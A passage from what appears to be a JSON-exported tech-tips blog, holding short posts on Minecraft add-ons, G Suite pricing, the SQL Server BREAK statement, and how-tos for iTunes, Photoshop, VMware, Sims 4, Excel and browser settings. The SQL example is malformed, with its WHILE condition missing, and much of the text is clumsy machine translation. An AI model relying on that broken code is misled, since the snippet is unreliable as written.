lưỡi hái, karambit,.\nMutant Creatures   Việc chiến đấu với những sinh vật bình thường như Creeper, Zombie và Skeleton trong Minecraft trở nên dễ dàng hơn rất nhiều. Nếu những mob đó không đủ thử thách, hãy chuẩn bị sẵn sàng đối mặt với những sinh vật nguy hiểm hơn có trong add-on Mutant Creatures.\nIn Mutant Creatures, players encounter mutant versions of Zombie, Husk, Enderman, Skeleton, Stray, Wither Skeleton and many other hostile mobs. To turn a mob into a monstrous version, gamers can use an item called Chemical X.\nTrue Survival – Zombie Apocalypse   Zombie Apocalypse is making one of the most loved add-ons by Minecraft players. Install True Survival to play the version of Bedrock in a world overrun with aggressive zombies.\nThere are more than 20 different zombies in this add-on with different guns for gamers to fight and defeat zombies.\nMorph Plus   Morph Plus is a simple Minecraft add-on that allows the player to transform into 30 different types of mobs. Everyone's character will also gain that mob's appearance and abilities after transforming.\nIn this add-on, Enderman can teleport, Blaze shoots fire, Snow Golem shoots snowballs and more with unique abilities and powers.\nBut gamers also need to be careful because many mobs will be debuffed. For example, Zombies start burning in broad daylight, Enderman takes damage from rain or being in water, etc.\nSERP Pokédrock   The Pokédrock SERP is quite similar to the Pixelmon mod for Minecraft Java Edition. This add-on has been quite popular among Bedrock players, even though only Generation 1 Pokémon are available. Install this add-on and gamers will find Pokémon scattered throughout the Overworld.\nThe appearance of different types of Pokémon varies depending on the location. For example, Bug-type Pokémon spawn in the forest, while aquatic-type spawn in the ocean.\nNaruto Jedy   The Naruto anime and manga series has a huge global fanbase and the Naruto Jedy add-on is for them. This add-on turns Minecraft into a Naruto game by adding skills like Sharingan, Byakugan, Mangekyo, Rinnegan, Susanoo's,.\nNaruto Jedy has separate stats like HP, Chakra, Chakra Limit, Training Point and many more. In Naruto Jedy, the player can become Jinchuuriki and fight Bijuus.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jJqbnaeeqHq1u4yipayskaG5brXNZqSippWYv6Ky0w%3D%3D\n","link":"/post/top-add-ons-to-install-in-minecraft/","section":"post","tags":null,"title":"TOP add-ons to install in Minecraft"},{"body":"On November 9, Apple officially released a new update for the Macbook series produced in 2012.\n  The 2012 Macbook version has just got a new update\nAccording to Cnet, this update is for the MacBook Air and MacBook Pro models manufactured in June 2012.\nThis update mainly fixes some bugs in Mac OS X operating system, improves the compatibility of USB devices on Macbook 2012 and improves some algorithms to improve battery life.\nCurrently, users can access the automatic update feature in Software Update in Mac OS X or go to support.apple.com/kb/DL1609 to download the update to the computer (update capacity is 127 MB) .\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55kq52cmq60scNmmKdlpaWxosDEZp2oql2ptaZ5kWloa2WdlrCju86kZKydop6ytA%3D%3D\n","link":"/post/apple-released-an-update-for-the-2012-macbook-series/","section":"post","tags":null,"title":"Apple released an update for the 2012 Macbook series"},{"body":"The Break command used to exit the loop does not specify a stop condition or you want to stop the loop on condition that you specify and execute the statements following the END command of the loop.\nSyntax To use the command to interrupt BREAK control in SQL Server, we use the following syntax:\n BREAK;  There are no parameters and arguments in the BREAK statement.\nNote:\nYou use BREAK to end the WHILE loop early. If in the code there is WHILE nested LOOP, BREAK will terminate the nearest WHILE loop. For example DECLARE @Number INT = 1; DECLARE @Total INT = 0; @Number WHILE BEGIN IF @NUMBER = 5 BREAK; ELSE SET @Total = @Total + @Number; SET @Number = @Number + 1; END PRINT @Total; GO  In this example using the BREAK statement, the WHILE loop will end when @Number reaches value 5.\nPrevious article: FOR loop in SQL Server\nNext lesson: CONTINUE command in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51kr7OxwKRknKeeqb%2BwuIyipa2doqfCscCMnKampZGjsW61zWaqqqRdqLKzwsSr\n","link":"/post/break-control-interrupt-command-in-sql-server/","section":"post","tags":null,"title":"BREAK (Control Interrupt) command in SQL Server"},{"body":"Undoubtedly, Google will conduct price increases for services on the G Suite.The information was revealed by a Google representative in a blog post on Wednesday.This is considered a necessary step for Google not to lag behind in the confrontation with Microsoft Office 365.\nSpecifically, starting April 2, the cost of using G Suite Basic services will increase from 5 USD to 6 USD per user per month, and the premium service of G Suite Business will be available. the increase from the current 10 USD to 12 USD per person per month.However, there is still good news for that user, G Suite Enterprise Edition - the most widely used tool, the largest scale in the G Suite platform, will generally keep the price of the service.In addition, for G Suite customers who pay yearly, the new price will only be effective the next time in the new billing - subscription cycle after April 2.\n  Google Docs, Sheets, Slides and Sites will be updated to Material Design interface Google justified an increase of nearly 20% for its Basic and Business versions by saying they haven't updated prices since the introduction of the G Suite (more than a decade ago), while quality , features and new services on their products have increased significantly.Today, G Suite users have full access to some other useful tools including Gmail, Docs, Sheets, Drive, Hangouts Meet, Hangouts Chat .\nThe new $ 12 a month price for G Suite Business makes this tool a service fee nearly equal to Microsoft's Office 365 Business Premium package, which currently costs $ 12.50 per user per month.\nHistorically, Microsoft has proven that they are a very successful service provider in conquering the high-end market, despite being more expensive than the G Suite.Although at $ 12 / user / month, it is still much cheaper than Microsoft's popular fee of $ 20 / user / month (E3 Office 365), but the G Suite still cannot overwhelm gain market share compared to Office 365. Perhaps Google will need to discuss a little more about its competitive tactics.\nGoogle adds a feature to display free space on your device on Google Play   In addition, the price increase also appeared after the change in leadership position at Google Cloud - the company responsible for G Suite and other business services.Former senior Oracle employee Thomas Kurian officially assumed the position of CEO of Google Cloud at the beginning of the month, completely replacing the role of Diane Greene in the high-level personnel apparatus of Google Cloud.\nSee more:\nGoogle will prompt you for the most recently accessed links before starting a new search Applications that require SMS access and call logs will be removed from Google Play Store by Google Google launched Android Studio 3.3 with a focus on sophistication and quality Google's ad blocker will be released to Chrome users worldwide ncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZp6Zp8C1edGaoKydlGK0br%2FUoqueZaCntqSx0maYZqWfq7JuwM5mrpqqnWLCsXnCqKSpnaSewaq7zWauoqyYYrqqr9GoqqiepGK8p7LInJxma2Zq\n","link":"/post/google-first-raised-g-suite-prices/","section":"post","tags":null,"title":"Google first raised G Suite prices"},{"body":"For those who have the products of Apples, it is certainly no stranger to the iTunes tool. Support users can copy audio files, images, or data from computers to iPhone / iPad, iTunes is one of the indispensable software when using iOS devices. And when we install iTunes on the computer, the downloaded files will always be saved in a default folder. If you want to change the location of the iTunes Media folder to save the downloaded file for more convenient use, it is also very simple. In this article, Network Administrator will show you how to change the location of the folder where the downloaded files are stored on iTunes.\nDownload iTunes for Windows Download free iTunes for Mac Step 1: We open iTunes on the computer. Next click on Edit and click Options . You can change the language on iTunes to Vietnamese as shown below to make it easier to use. Refer to how to change the iTunes language in the Guide to changing iTunes language to Vietnamese.\n  Step 2: A new window appears. General options . Here, we will click on the Advanced tab. Then, just below the iTunes Media folder location , click the Change button.\n  Step 3: Window interface Change Location iTunes Media folder appears. Here, the downloaded files will be stored in the iTunes Media.\n  Step 4: Next, we can choose any folder in the computer to change the location of downloaded files to iTunes. After selecting, click Select Folder just below.\n  Step 5: Going back to the Advanced Options window, you will see the location of the newly selected storage folder appear in the iTunes Media folder location . Finally click OK to save this new setting.\n  So you've finished changing the directory to store downloaded files to iTunes. With this method, we can search for data more quickly, and balance the amount of memory used between drives on the computer.\nRefer to the following articles: Error cannot connect to iTunes Store, this is a fix Instructions for copying files on iTunes Tips for using iDevice do not need iTunes I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55llp65pnnDqK6npJ%2BWsW6yzqWbnqpdpLtutdOupZ6r\n","link":"/post/how-to-change-the-file-download-folder-on-itunes/","section":"post","tags":null,"title":"How to change the file download folder on iTunes"},{"body":"If you are running many different processes at the same time on your PC, it is easy to check which processes are running with elevated (admin) privileges using Task Manager. Find out below.\nCheck if a process is running with admin privileges in Windows 11 To determine if a certain process is running with administrative privileges, you will need to access a special item, which is hidden by default on the Task Manager.\nFirst, launch Task Manager by pressing the keyboard shortcut Ctrl + Shift + Esc . Or you can also click the magnifying glass icon on the taskbar at the bottom of the screen, enter the keyword ' Task Manager ' in the search box, then click the corresponding Task Manager application in the returned search results.\n  The Task Manager window will appear. Click the ' More Details ' button at the bottom of the window.\n  Immediately a variety of information about the processes currently running on the system will be displayed in full, as well as the corresponding title menu. In this header menu, you click the \" Details \" tab .\n  Next, you will see several columns of data, which show various information about each process. Right click on any column header such as ' Name ', ' PID ', ' Status ' etc. Now click ' Select Columns ' in the context menu that appears.\n  The Select Columns window will appear. This is where you can select the different types of columns of data to be displayed in the Details tab of the Task Manager. Scroll down until you find the ' Elevated ' option, check the box next to it, then click ' OK '.\n  The Elevated column should now appear in the Task Manager.\nIf a process shows \" Yes \" status in the Elevated column, it means that the process is running with administrative privileges.\n  This way you can easily check if processes are running with admin privileges in your Windows 11 PC.\nWindows 11 admin privileges ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecifZJploKe8pLHSrGSiq12nwq%2B6yKeeZq%2BZqbVurcOmoKdloKe2t7XLnp6eq12eu27DyKebqK%2BjYn5y\n","link":"/post/how-to-check-if-a-process-is-running-with-admin-privileges-in-windows-11/","section":"post","tags":null,"title":"How to check if a process is running with admin privileges in Windows 11"},{"body":"Photoshop's Select tool is quite powerful and has a number of AI features, which help users make smart choices such as selecting only the subject of the image or a specific area of ​​the image. You can use Photoshop's Select tool to select all pixels of a specific color in the image, making it easy to make changes.\n10 common problems in Photoshop and basic remedies How to combine photos in Photoshop from 2 different images How to sharpen images in Photoshop in 2 ways How to choose all the same colors in Photoshop Open the image and in the menu, click Select\u0026gt; Color Range .\n  In the control panel that opens, you have two ways to choose the color. You can use the Eyedropper tool to select a color by clicking anywhere on the image and Photoshop automatically selects all the same colors in that pixel.\n  If you want a little more nuance, click the Eyedropper tool with the plus icon next to it. This allows you to make many choices. For example, you can select all golden shades in a photo or select more than one color if you like.\nIf you see a color or nuance that you don't want to select, click on the Eyedropper tool with a minus sign next to it and click on what you want to delete from your selection.\nYou can fine-tune your selection by dragging the slider in Fuzziness . Drag the closer to the left of the slider, the more detailed your selection will be, and drag the closer to the right, your selection will have more similar colors.\nHow to see what you have chosen In the Color Range dialog box, you have a number of options to view your images. In the dialog box, Selection will display a polarized black and white thumbnail. Everything you choose will appear white, while the rest of the image is black. If you choose Image , you will see a thumbnail of your image or design.\n  You can also preview selections in real photos, useful for detailed images. Select four options from the Selection Preview drop-down menu:\nGrayscale : This image looks like a thumbnail in the dialog box.\n Black Matte : All images are blurred, except for your choice with the original color.\n White Matte : The whole image is white, except for your choice with the original color.\n Quick Mask : The image has a red Photoshop mask that covers it except for your choice with the original color.\n How to edit color choices Once selected, you will see the border of the selection represented by a flashing dotted line that looks like a marching ant. You can change the color in several ways in the menu under Image\u0026gt; Adjustment . Here are some examples:\nTo change it seamlessly, you can change the color of the image by going to Image\u0026gt; Adjustments\u0026gt; Color Balance . You can change the selection to black and white by going to Image\u0026gt; Adjustments\u0026gt; Black and White . You can change the color and color saturation (saturation) by going to Image\u0026gt; Adjustments\u0026gt; Hue / Saturation . You can change the brightness or contrast of the selection by going to Image\u0026gt; Adjustments\u0026gt; Brightness / Contrast . This is not a complete list of adjustment tools that you can use to change images, these are just a few tools that make it easy to make useful seamless changes when performing tasks. like changing eyes or hair color, brightening images.\nIn this example, the left half of the image has been brightened and the color balance changed. The right half of the image remains the same:\n  If you are looking for ways to make the correct choices in Photoshop, the Refine Edge Tool is a great option to simplify the process of making complex choices.\nSee more:\nHow to change the interface background color in Photoshop 45 smart Photoshop tips you need to know (Part 1) Create contrast in Photoshop ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYpLy0sYyao6VlpJ2ybr%2FAppxmm5%2BhvLO%2FjKKlZqiYpMGwv8eopw%3D%3D\n","link":"/post/how-to-choose-all-the-same-colors-in-photoshop/","section":"post","tags":null,"title":"How to choose all the same colors in Photoshop"},{"body":"Screen Saver (Screen Saver) is a feature that helps your computer operate with lower power but still ensures the computer pops up quickly when you return to work. This feature is extremely useful when we use the old CRT monitors with a long boot time. On Windows 10, this feature is well \"hidden\" because today's LED screens still work well without this feature.\n  If you still like the Screen Saver feature on Windows 10, let's find out how to open this feature on Windows 10!\nStep 1: Go to the Start menu (1) =\u0026gt; select Settings (2) .\n  Step 2: You type the keyword Screeen Saver (1) into the search box of Windows Settings =\u0026gt; Change screen Saver (2) .\n  Step 3: Screen Saver window appears, we select the standby screen pattern by clicking on the arrow in Screen saver (1) . To preview the standby screen, click Preview (2) . If you want to turn off the standby screen feature, let's select (None)  (3) on the Screen Saver menu .\n  Step 4: After selecting a satisfied screen, you adjust the time for the standby screen to appear in the Wait (1) section . To protect the computer from intrusion, set the password request mode after leaving the standby screen (2) . Then click Apply and OK (3) to save the settings as done.\n  With a quick and simple guide to turn on and turn off the standby screen on Windows, we can use this feature and use the sample standby screens on the Internet such as a clock screen, animation to make the computer. ours become more vivid and interesting. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyapZ1llJ7Aoq7LnmStoJViwLWtzZ2ZsmWjmL%2Bmsc1mpKiclWK2r3nWoqWdp6eoenJ8\n","link":"/post/how-to-enable-and-disable-the-standby-screen-mode-in-windows-10/","section":"post","tags":null,"title":"How to enable and disable the standby screen mode in Windows 10"},{"body":" VMware is a cloud based operating system that allows you to run multiple virtual machines from a single physical computer. Thus, VMware acts as the interface between your hardware and your various operating systems. If you are running out...\nMethod 1of 2:\nExpanding the Disk within VMware's Settings  Make sure some prerequisites are met. In order to increase the disk size in VMware, you must make sure that your virtual machine is powered off and that it has no snapshots. To determine whether it has snapshots, check \"Information\" under the \"Summary\" tab for the virtual machine.\n  Go to \"Settings.\" Do this within VMware.\n  Select the Hard Disk you wish to expand. You will find this under the column entitled \"Hardware.\"\n  Expand your disk. On the right-hand side of the window under \"Disk Provisioning,\" set the new \"Provisioned Size\" of your disk. Some layouts will instead have a drop down menu entitled \"Utilities.\" From here select \"Expand.\" Generally, the disk will be anywhere from 30 to 40GB at this stage, so try resizing it to 45 to 55GB at first.[1]\n  Click \"OK.\" This will set the new maximum size for the virtual disk.\n  Rescan your disk. While you have expanded the size of your disk, there are a few more steps you must take within the operating system. To rescan your disk, go to \"Disk Management\" and select \"Rescan Disks.\"\n  Resize the OS drive. Now that you have expanded and rescanned your disk, you will see the \"Unallocated Space\" that we have just created. We must now assign this space to your operating system's drive. To do this, right-click on the unallocated space and select \"Expand Volume.\" This will prompt a simple wizard that will allow you to determine what to do with this newly created space. Assign it to your virtual disk.\n Method 2of 2:\nExpanding your Disk in Workstation, Player, ACE Manager, Server, or GSX  Open the command Prompt. If you are using the VMware Workstation, Player, ACE Manager, Server, or GSX products, then follow this method. You can do this by going to \"Start\" and enter \"cmd\" without the quotation marks into the search bar. Select \"Run.\"\n  Go to the product's installation directory.[2] For Workstation enter: Program FilesVMwareVMware Workstation in Windows or :/usr/sbin for Linux. For Player and ACE Manager use: Program FilesVMwareVMware Player for Windows or /usr/sbin for Linux. For Server use: Program FilesVMwareVMware Server for Windows or /usr/bin for Linux. For GSX use: Program FilesVMwareVMware GSX Server for Windows or /usr/bin for Linux.   Enter the following code: vmware-vdiskmanager –x 100Gb vm.vmdk and press 'Enter.' This will resize your current disk.[3] Replace \"vm.vmdk\" with the full path to the virtual machine's virtual disk and 100GB with the disk size you want.   Extend the disk partition. While you have extended the volume of your disk, you need to notify your operating system of the change. Go to \"Computer Management\" and select \"Disk Management.\" Right-click on \"Volume\" and then select \"Extend Volume.\"[4]\n  Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGemL%2BmrdKeZJ2ho6B6tLzAnJxmoZ5iw67DwKuc\n","link":"/post/how-to-increase-disk-space-in-vmware/","section":"post","tags":null,"title":"How to Increase Disk Space in VMware"},{"body":" This wikiHow teaches you how to install The Sims 4 and the required Origin game-playing client on your Windows or macOS computer. Unlike previous versions of The Sims, installing Sims 4 requires you to install this additional app—even if y...\nMethod 1of 2:\nWindows  Go to http://www.origin.com/download in your web browser. Installing Sims 4 on your PC requires you to also use a game-playing client called Origin.[1] You'll need to download this app even if you bought the game on discs. Sims 4 can run on Windows 10, 8.1, or 7 as long as your hardware meets these requirements:[2] 2 GB RAM at the minimum, but EA recommends at least 4 GB of RAM for best performance. At least 9 GB of disk space. If you have a separate graphics card, you'll need an Intel Core 2 Duo or AMD Athlon 64 Dual Core 4000+ (or equivalent) processor. If your graphics card is onboard, you'll need a 2.0Ghz Intel Core 2 Duo or AMD Turio 64 X2 (or better) processor.    Click Download under \"Windows.\" This downloads the Origin setup file to your PC.\n  Double-click the downloaded file. It's the file called OriginThinSetup.exe in your default download location, which is usually called Downloads.\n  Click Install Origin. A list of install options will appear.\n  Select your install options and click Continue. Check or uncheck the boxes to choose how Origin behaves after installation. Origin will then download and display a pop-up window once complete.\n  Click Yes on the pop-up. This opens the EA sign-in screen.\n  Log in with your EA Games account. Once you're logged in, you'll see the Origin dashboard, which allows you to download games. If you don't have an EA account, click the CREATE AN ACCOUNT link on the sign-in window to set one up now.   Install Sims 4 using an existing product code. If you haven't bought Sims 4 yet, skip to the next step. Otherwise, if you've already purchased Sims 4, here's how you can redeem your product key: Click the Origin menu at the top-left corner of the window. Click Redeem Product Code. Enter the product code that came with your Sims 4 purchase. It's a long series of letters and numbers. If you bought Sims 4 on disc, it'll be inside the box. If you bought it online, it's in the confirmation email. Click Next. Insert The Sims 4 disc if you have it. If you don't have the disc, you'll be prompted to download the game instead. Follow the on-screen instructions to install Sims 4.   Install Sims by purchasing it from Origin. Skip to the next step if you just entered your product key. If you haven't yet bought Sims 4, follow these steps to install the game: Type sims 4 into the search bar and press ⏎ Return. Click The Sims 4 in the search results. Be sure not to accidentally download one of the extra feature packs—the one you need just says \"The Sims 4.\" Click Get the Game. Select a subscription or click Buy Now to pay the one-time fee of $39.99 (USD). You can compare all of the options by scrolling down a little to the chart. Follow the on-screen instructions to pay for and download the game.   Open Sims 4 to start playing. Once the game is installed, you'll find it in your Start menu. You can also launch it by clicking it in the My Game Library section of the Origin app.\n Method 2of 2:\nmacOS  Go to http://www.origin.com/download in your web browser. Sims 4 is only available as a digital download for macOS, so you'll need to download the installer.[3] Buying Sims 4 for any platform (PC or Mac) gives you access to both the PC and Mac versions of the game. If you bought a physical version of the game, the product code inside the box will activate the version you download from Origin. If you haven't yet bought the game, you can do so now at https://www.origin.com/usa/en-us/store/the-sims/the-sims-4. Sims 4 can run on Mac OS X 10.7.5 (Lion) or later as long as your hardware meets these requirements:[4] 4 GB RAM at the minimum, but EA recommends 8 GB of RAM for best performance. At least 14 GB of disk space. Graphics card support: NVIDIA GeForce 9600M GT, ATI Radeon HD 2600 Pro or better. An NVIDIA GTX 650 or better is recommended for best performance.    Click Download under \"Mac.\" It's near the middle of the page. This downloads the installer to your default download location (usually the Downloads folder).\n  Double-click the downloaded file. It's the one that ends with .dmg. A window labeled \"Origin\" will appear.\n  Drag the orange Origin icon to the Applications folder. This prepares the installer by placing it into your Applications folder.\n  Install Origin. Open the app in your Applications folder, and then follow the on-screen instructions to complete the installation. Once you're finished installing the app, you'll be prompted to enter your EA username and password.[5] If you get a security error when opening this file, close the window. Then, try opening it again by right-clicking the file and selecting Open. Enter your admin password when prompted to allow the installer to run.[6]   Log in with your EA Games account. You'll be prompted to do so after Origin is finished installing. Once you're logged in, you'll see the Origin dashboard, which allows you to download games. If you don't have an EA account, click the CREATE AN ACCOUNT link on the sign-in window to set one up now.   Install Sims 4 using an existing product code. You'll only need to do this if you've already purchased the Sims 4 (for any platform) and just want to download the game to your Mac. To do this: Click the Origin menu. Click Redeem Product Code. Enter the product code that came with your SIMS 4 purchase. It's a long series of letters and numbers. If you bought the PC software, it'll be inside the box. If you bought it online, it's in your confirmation email message.[7] Click Next and follow any on-screen instructions to confirm. Once you've confirmed, Sims 4 will download and install.   Install Sims by purchasing it from Origin. Skip to the next step if you just entered your product key. If you haven't yet bought Sims 4, follow these steps to install the game: Type sims 4 into the search bar and press ⏎ Return. Click The Sims 4 in the search results. Be sure not to accidentally download one of the extra feature packs—the one you need just says \"The Sims 4.\" Click Get the Game. Select a subscription or click Buy Now to pay the one-time fee of $39.99 (USD). You can compare all of the options by scrolling down a little to the chart. Follow the on-screen instructions to pay for and download the game.   Launch Sims 4 to start playing. Once the app is installed, you'll find it in your Applications folder. You can also open it from Origin by clicking My Game Library and selecting Sims 4.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmq6GdXai2rr%2BMbQ%3D%3D\n","link":"/post/how-to-install-the-sims-4/","section":"post","tags":null,"title":"How to Install the Sims 4"},{"body":" Family trees are a common school project, and a fun way to show people your ancestry. Excel is capable of more complex genealogy projects as well, but for longterm research projects you may prefer specialized software. Create a new...\nMethod 1of 3:\nUsing a Template  Create a new document from template. Select File → New from Template if the option is present. On some versions of Excel, just selecting File → New opens a pane where you can choose between templates.\n  Search for a family tree template. The family tree template is not pre-installed, so you will need to be connected to the internet to find it. Search for \"family tree\" to find two options available for free download. If you don't see a search bar, look under \"Microsoft Office Online,\" \"Office.com,\" or \"Online templates,\" depending on your Excel version.[1][2] Select the \"Personal\" subsection, then browse for family tree templates. If you're using Excel 2007 or earlier, you may not see these options. You can either search online for unofficial templates, or skip to the sections below for other options.   Try the basic family tree chart. The \"Family tree chart\" template is a simple spreadsheet with colored cells to outline a family tree. There is only room for yourself and four generations of direct ancestors. This makes it a good choice for school projects, but not extended genealogy research. To use it, just click on the colored cells and type in the name of your family members. To add cells for your siblings, copy-paste \"your\" cell onto another cell in the same column to turn it the same green color. Similarly, you can copy-paste your parents' cells into the same column to make lighter green cells for your aunts and uncles.   Create larger family tree. If you're working on a more complex tree, select the \"Family tree\" template instead. This uses the SmartArt feature, which requires Excel 2007 or later.[3] You can still click the squares and type in your relatives' names, but you've got many more features as well: Click anywhere in the document to make the Text Pane appear. This lets you edit the family tree through a simple, compact list. To add another relative, press the + button at the top of the pane. With the new cell selected, use the → or ← buttons to move it between generations. Click and drag to move it below the name of its son or daughter. Above the document itself, the SmartArt ribbon menu has many visual options. For example, click the Hierarchy icon to see a selection of ways to display the data.  Method 2of 3:\nUsing SmartArt (Excel 2007 or later)  Click the SmartArt icon in the ribbon menu. In modern versions of Excel, you can use a feature called \"SmartArt\" to make more attractive diagrams. Select \"SmartArt\" in the ribbon menu above a blank spreadsheet to get started. In Excel 2007, instead select the Insert tab, then find SmartArt in the Illustrations group.[4]   Create a hierarchy. Now that the ribbon menu is displaying SmartArt options, select the Hierarchy icon, near the left side of the menu. Select the visual style of your choice, and it will appear over the spreadsheet.\n  Fill out the family tree. The new diagram can be dragged around and enlarged just like any Excel object. Click on each shape or blank line within the diagram to type the name of your family tree. Alternatively, use the Text Pane that appears when you select the diagram. Any change you make in the text pane will instantly affect the diagram's appearance.  Method 3of 3:\nUsing a Basic Spreadsheet  Select Insert Shape. Create a new Excel spreadsheet. Click Insert on the top menu or ribbon menu, then Shape. Choose a rectangle, oval, or any other shape.\n  Place it in the spreadsheet. Click and drag in the spreadsheet to \"draw\" the shape. To make it a perfect circle or square, hold down ⇧ Shift as you drag.[5]\n  Write your name in the shape. Click on the lowest shape and type your name. Adjust the font size, color, and other styles if you would like before moving on to the next step.\n  Copy and paste to create more shapes. Select the shape you just drew and copy it with Ctrl+C (⌘ Cmd+C on a Mac). Paste as many copies as you need by pressing Ctrl+V repeatedly.\n  Arrange them in a family tree. Click and drag the shapes into a family tree layout. Typically, you would put one shape at the bottom of the sheet, two in a row above that, two more above each of them, etc. Click on each shape and type to write in the name of each relative.\n  Insert lines. Return to the Insert Shapes menu and select a zig zag line. Click and drag in the spreadsheet to draw a line connecting a shape with the two shapes (parents) above it. As before, copy-paste to create new lines and drag them into position.\n  Write in optional information. If you like, you can include birth dates or notes below each name. You can either add this inside the shape itself, or click on spreadsheet cells right below each name and type the info there.\n  Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYyfmKahnK56tb7EnmSopl2axaSxyw%3D%3D\n","link":"/post/how-to-make-a-family-tree-on-excel/","section":"post","tags":null,"title":"How to Make a Family Tree on Excel"},{"body":"  When you're browsing the web and find an important piece of news that you want to print right away for reference or archiving, for some of you who don't know your browser's print functionality will most likely be blacked out. set a webpage with Ctrl A and then copy it to Word to print. But this can create a bit of misrepresentation in the same position format if the Word file does not read all of the web format settings. Moreover, you do not need to spend time on such steps, let TipsMake.com talk about how to print web page content right on the web browser interface.\n1. Print web page content on paper 1.1. Print content on Chrome web browser To print the current content in Chrome web browser, click on Customize and control Google Chrome (the icon with three dots in the right corner under the X Close icon ).\nThe custom list will have the Print (or Print) line. You click on it to turn on the print function.\n  The display of the print function will appear on the web page. You will get a preview of what you will print right there.\n  The print settings are in the left column, you set up the printer, the pages printed and the number of prints and some other settings. Then click Print to print the web page content.\n  Chrome also has a function\n  1.2. Print content on Microsoft Edge web browser To print content on the Microsoft Edge web browser , click the Settings and More icon with three horizontal dots in the right corner of the browsing interface. Or use the Alt X key combination .\nIn the opened list of settings, select Print to enable printing on Microsoft Edge web browser .\n  The Microsoft Edge print interface is black as shown below. You can see a preview image of the printout at Preview on the right.\nAfter you have customized the different settings for your print, click Print to print it out.\n  1.3. Print content on Firefox web browser To print content on Firefox web browser , click the Menu icon with three dashes in the right corner of the web browser interface.\nThen select the Print function in this Menu .\n  The Firefox Print Function dialog box will appear in the background of the web browser interface, you can preview your printout in this dialog box and set some settings such as the print scale and the width of the page horizontally. paper size. Then you click Print to open the Print panel .\n  Print function table appears on the screen. You customize the necessary settings when printing and then click OK to print the web content on paper.\n  2. Print web page content to PDF file To print web content to PDF files, you need to adjust the target printer to Save as PDF (Vietnamese with Chrome).\n  Then click Save and save the PDF file containing the webpage content on paper.\n  So with Microsoft Edge, you change the printer to Microsoft Print to PDF . This allows you to store website data as a PDF file.\n  Click Print to export the PDF.\n  And with Firefox, you also change the printer to Microsoft Print to PDF .\n  Then click OK so the webpage content in Firefox is converted to PDF.\n  Thank you for following the article of TipsMake.com on printing website content for reference. Wish you can successfully implement this trick.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiinru1edaemayhpJp6pLvNrZynrF2ku268wKmcq2WWpL9uvsSfnKudnpiy\n","link":"/post/how-to-print-website-content-on-paper-for-reference/","section":"post","tags":null,"title":"How to print website content on paper for reference"},{"body":"Flash, JavaScript, Popup or Cookies are important components of a website's content. However, in some cases we need to turn them on or off to run applications on a website or turn off annoying notifications when surfing the web. The following article of TipsMake.com will guide you how to turn on and off javascrip, flash, popup, location, cookies . etc. on Chrome, Coc Coc, Edge, FireFox browsers, please follow along.\n1. For Chrome browser and Coc Coc Step 1 : Open Chrome or Coc Coc browser then type the following link in the address bar and press Enter: chrome: // settings / content\n  Step 2 : We will be taken to the content settings window, where we have the options to turn on and off Cookies, location, Camera, Java, Flash . etc . If you want to enable or disable content, choose into that content.\n  For example, if you want to enable or disable Flash, select the Flash item then in the new window you can press the on or off button as you like.\n  2. For FireFox browser Step 1 : Open your browser and select Options\n  Step 2: In the Options window, select Privacy \u0026amp; Security, then scroll down to Permissions. Here you can turn off Location (Location), Camera, Notifications, Popup and some other things.\n  If you want to turn on or off any item, select the Settings button at that item, in the Settings window, if you want to turn off, check the Block box below, if you want to turn on, then uncheck it.\n  If you want to enable JavaScript on FireFox then do the following:\nFirst open your browser and type about: config in the address bar and press Enter, then I accept the rick!\n  In the new window you enter Javascript in the search box, then in the results you double click on the javascript.enabled line to enable or disable java (The value is true is on, false is off).\n  3. For Edge browser Open the switch and open Settings\n  Next, scroll down to the View advanced settings section\n  In the advanced settings section we can enable or disable Popup or Flash player.\n  Above is an instruction on how to enable / disable Location, Javascript, Flash, Popup, Cookies, Camera on Coc Coc, Chrome, Edge, Firefox. Hope you will find the article useful. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKWnk5bBqrvNZqGarpGosLO1z61kn6SRqLVuvM6prKllk6S8rLXErGScmZ2av6J5zqdknKeTYrCwr4ycn6unnZp6prDGnmSfoaKas7DE\n","link":"/post/how-to-turn-off-location-javascript-flash-popup-cookies-camera-on-c%E1%BB%91c-c%E1%BB%91c-chrome-edge-firefox/","section":"post","tags":null,"title":"How to turn off Location, Javascript, Flash, Popup, Cookies, Camera on Cốc Cốc, Chrome, Edge, Firefox"},{"body":"FastGo is an application for Vietnamese technology vehicles, after launching in Hanoi, Da Nang, Ho Chi Minh City, FastGo application continues to expand the market and has been present in Binh Duong and Dong Nai. Thus, our users will have a new car booking application when they need to move. Here, we will guide you how to use FastGo to call taxi, taxi. Let's experience and evaluate whether the application to call FastGo car is different from other popular applications like Grab, Mai Linh, Vinasun or VATO, . okay.\nInstructions for booking Grab car on Google Maps Instructions for booking a car with the Go viet app How to order a taxi by Zalo on the phone How to use the FastGo car call application Note: This guide is implemented on Android phones, you can do the same on other devices to be able to call cars with FastGo.\nStep 1: Download and install FastGo\nFirst of all, you must install the FastGo application for your phone, now FastGo is available on both Android and iOS operating systems, you can click on the link below to download quickly.\nDownload FastGo for iOS Download FastGo for Android Step 2: Register for a FastGo account\nComplete the above step, start the FastGo application to proceed to create an account for yourself. Please enter the phone number you are using and click Next .\n  Immediately the system will send an OTP phone message, please enter this confirmation code correctly and click Continue to finish. You will then be redirected to the car call interface on the FastGo application.\n  Step 3: Put the car on FastGo application\nBy default, the application will automatically identify your current location, you just need to enter the address needed. However, you can re-enter the address you are standing for the driver to find more easily.\n   Once the location is selected, the application will display the amount corresponding to that distance. Here, you click on the Calculation item according to the application to see more different types of vehicles such as 4 seats, 7 seats or motorbike, each service has different price, so please refer and choose a type of vehicle suitable for your travel needs.\n   Next, you can choose to 